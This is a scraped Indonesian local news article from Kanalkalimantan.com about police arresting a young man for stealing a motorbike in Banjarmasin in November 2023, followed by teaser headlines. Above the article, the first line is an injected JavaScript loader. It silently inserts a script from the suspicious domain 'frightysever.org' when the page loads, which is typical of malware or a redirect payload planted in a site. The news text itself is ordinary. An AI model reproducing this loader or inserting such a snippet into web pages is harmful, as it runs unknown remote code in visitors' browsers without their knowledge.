(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Barat berhasil mengungkap pencurian kendaraan bermotor (curanmor) di Kota Banjarmasin.
RS (25), pemuda yang beralamat di Jalan Sutoyo S RT 3, Kelurahan Teluk Dalam, Kecamatan Banjarmasin Tengah, dibekuk setelah membawa sebuah sepeda motor matic milik seorang warga.
Kapolsek Banjarmasin Barat, Kompol Dodi Harianto melalui Kanit Reskrim Iptu Firuza Bahri mengungkapkan, pelaku melakukan aksi pencurian pada Sabtu (25/11/2023) sekitar pukul 22.30 Wita, di Jalan Sutoyo S Gang 20, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat.
Malam itu, pemilik motor yang bernama Maria Friskila Yudita (23) dikatakan terkejut ketika melihat sepeda motor yang sebelumnya terparkir di teras rumah sudah hilang.
Baca juga: Perempuan Tenggelam di Dermaga Pasar Lima Banjarmasin, Warga Sempat Lihat Linda Melambai
“Sepulang dari jalan-jalan pemilk terkejut karena sepeda motor yang ia parkir di teras rumah tidak ada lagi,” katanya.
Maria yang melihat kendaraan miliknya sudah tidak ada kemudian mengecek kunci motor yang ditinggal di rumah, dan ia mendapati kunci sepeda motornya masih ada.
Padahal saat kejadian, di rumah yang tinggali tersebut ada penghuninya. Namun, temannya yang berada di dalam rumah tidak menyadari jika motor miliknya raib dicuri oleh seseorang.
Mendapat laporan kehilangan tersebut, tim Reskrim Polsek Banjarmasin Barat kemudian melakukan penyelidikan.
Baca juga: Kampanye Terbatas di Liang Anggang, Polres Banjarbaru Minta Terus Jaga Kamtibmas
Tiga hari usai kejadian tepatnya Selasa (28/11/2023) malam, polisi berhasil meringkus pelaku RS di Jalan Sutoyo S.
Selain mengamankan pelaku, polisi juga menyita barang bukti curian berupa sebuah sepeda motor matic berwarna hitam Nopol DA 6559 IA milik korban.
Barang bukti lainnya yang juga disita yaitu sebuah sepeda motor matic berwarna merah yang digunakan pelaku untuk melancarkan aksinya.
Kini, pelaku sudah mendekam di sel Mapolsek Banjarmasin Barat dan terancam dengan jeratan Pasal 363 KUHP tentang pencurian. (Kanalkalimantan.com/Rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.